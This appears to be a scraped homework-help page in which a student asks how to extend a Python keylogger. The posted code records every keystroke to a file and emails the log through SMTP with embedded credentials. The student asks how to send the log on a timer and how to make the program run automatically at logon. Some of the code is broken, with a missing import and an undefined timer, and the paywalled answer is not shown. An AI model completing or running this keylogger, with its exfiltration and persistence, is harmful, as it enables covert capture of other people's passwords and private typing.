Answered step by step
Verified Expert Solution
Link Copied!

Question

1 Approved Answer

HELLO! I'M WORKING ON A PYTHON PROGRAM FOR MY FINAL & I CHOSE TO MAKE A KEYLOGGER THAT RUNS IN THE BACKGROUND. SO FAR THE

HELLO! I'M WORKING ON A PYTHON PROGRAM FOR MY FINAL & I CHOSE TO MAKE A KEYLOGGER THAT RUNS IN THE BACKGROUND. SO FAR THE PROGRAM RUNS WELL AND LOGS THE KEYS TO A TEXT FILE AS I HOPED.

MY ISSUES ARE:

1. I WOULD LIKE TO E-MAIL THE TEXT FILE TO MY EMAIL AFTER 15 MINUTES.

2. HOW DO I GET THIS PROGRAM TO RUN AUTOMATICALLY WHEN I LOG ON TO THE COMPUTER?

import pynput.keyboard import logging import time import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase from email import encoders log_dir = "C:/Users/erick/Documents/EGentile_Project" logging.basicConfig(filename=(log_dir + "logskey_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') blnUseTime = "True" # Use a timer to send/save logs, set this to True intTimePerSend = 60 # set how often to send/save logs in seconds def on_press(key): logging.info(str(key)) with pynput.keyboard.Listener(on_press=on_press) as listener: listener.join() if blnUseTime == "True": if not objTimer.is_alive(): # check to see if the timer is not active objTimer = threading.Timer(intTimePerSend, CreateNewThreadMessages) objTimer.start() strLogs = "" intLogChars = 0 email_user = "I HAVE MY EMAIL HERE" email_sender = "I HAVE MY EMAIL HERE" subject = "KeyLogger" msg = MIMEMultipart() msg['From'] = email_user msg['To'] = email_sender msg['Subject'] = subject filename = 'logskey_log.txt' attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) part.add_header('Content Disposition', 'attachment, filename' + filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.geemail.com', 587) server.starttls() server.login(email_user, 'I HAVE MY PASSWORD HERE') server.sendmail(email_user, email_sender, text) server.quit()

THANK YOU IN ADVANCE!

Step by Step Solution

There are 3 Steps involved in it

Step: 1

blur-text-image

Get Instant Access to Expert-Tailored Solutions

See step-by-step solutions with expert insights and AI powered tools for academic success

Step: 2

blur-text-image_2

Step: 3

blur-text-image_3

Ace Your Homework with AI

Get the answers you need in no time with our AI-driven, step-by-step assistance

Get Started

Recommended Textbook for

Database Management Systems Designing And Building Business Applications

Authors: Gerald V. Post

1st Edition

0072898933, 978-0072898934

More Books

Students also viewed these Databases questions